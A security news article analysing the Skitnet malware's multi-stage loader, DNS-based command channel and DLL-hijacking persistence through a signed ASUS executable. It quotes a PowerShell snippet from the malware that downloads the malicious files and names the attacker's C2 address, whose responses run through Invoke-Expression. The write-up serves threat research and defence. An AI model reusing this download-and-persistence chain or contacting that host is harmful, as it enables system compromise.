Skitnet Malware Leverage Stealth Techniques to Execute Its Payload & Establish Persistence Techniques

Cybersecurity experts have identified a sophisticated multi-stage malware named Skitnet (also known as Bossnet) that employs advanced stealth techniques to execute payloads and maintain persistent system access.

First appearing on underground forums in April 2024, Skitnet is actively sold as a comprehensive package that includes both server code and malware components, with automated installation via Bash scripts requiring minimal human intervention.

The malware leverages a complex, multi-language architecture that combines Rust, Nim, .NET, and PowerShell to evade detection and establish strong persistence.

Its modular design allows attackers to deploy various payloads while minimizing their digital footprint.

The malware’s server component automatically wipes connection logs, IP addresses, command history, and cache data to thwart forensic analysis.

Catalyst researchers noted that Skitnet utilizes sophisticated encryption and code obfuscation techniques throughout its infection chain.

Analysis revealed that the initial Rust executable uses the ChaCha20 encryption library to decrypt an embedded payload, which is then manually mapped into memory using DInvoke-rs to avoid traditional detection methods that monitor disk operations.

The decrypted second-stage component is a Nim binary that establishes a covert command and control (C2) channel through DNS resolution-a protocol often allowed through firewalls with minimal inspection.

This Nim component dynamically resolves API functions through GetProcAddress rather than using traditional import tables, further reducing its detectability by security solutions that flag suspicious imports.

Sophisticated Persistence Mechanism

Skitnet’s persistence technique represents a particularly advanced approach that combines legitimate software exploitation with DLL hijacking and PowerShell scripting.

When the malware executes its “startup” command, it downloads three critical files to the C:\ProgramData\huo directory: ISP.exe (a legitimate and digitally signed executable from ASUSTeK Computer Inc.), SnxHidLib.DLL (a malicious DLL), and pas.ps1 (a PowerShell persistence script).

$filesDownloadLink = $ip + 'api/file/get-file/'
$filesDir = 'C:\ProgramData\huo'
$files = @(
    @{'name' = 'ISP.exe'; 'link' = $filesDownloadLink + 'ISP'},
    @{'name' = 'SnxHidLib.DLL'; 'link' = $filesDownloadLink + 'SnxHidLib.DLL'},
    @{'name' = 'pas.ps1'; 'link' = $filesDownloadLink + 'pas.ps1'}
)

The malware exploits a design feature in the legitimate ASUS executable, which attempts to load SnxHidLib.DLL at runtime.

By placing a malicious version of this DLL in the same directory, Skitnet hijacks the execution flow.

When ISP.exe loads, it calls the LoadLibrary function to import SnxHidLib.DLL, which then creates a PowerShell process to execute the pas.ps1 script.

This script establishes persistence by retrieving the C drive’s serial number and continuously sending requests to the C2 server in the format: http://178.236.247.7/{serial_number}. The server responds with PowerShell commands that are executed via Invoke-Expression.

To ensure the malware runs at system startup, it creates a shortcut to ISP.exe in the Windows Startup folder, completing a sophisticated persistence chain that leverages trusted software, DLL hijacking, and PowerShell automation.

Beyond persistence, Skitnet offers threat actors significant post-exploitation capabilities, including screen capture functionality that exfiltrates screenshots to Imgur, the ability to deploy legitimate remote access tools like AnyDesk, and a comprehensive shell function that maintains an encrypted command channel to the attacker’s infrastructure.

In the constantly evolving landscape of advanced persistent threats, Skitnet represents a concerning development that combines multiple evasion techniques with sophisticated persistence mechanisms, challenging traditional security approaches.

How SOC Teams Save Time and Effort with ANY.RUN - Live webinar for SOC teams and managers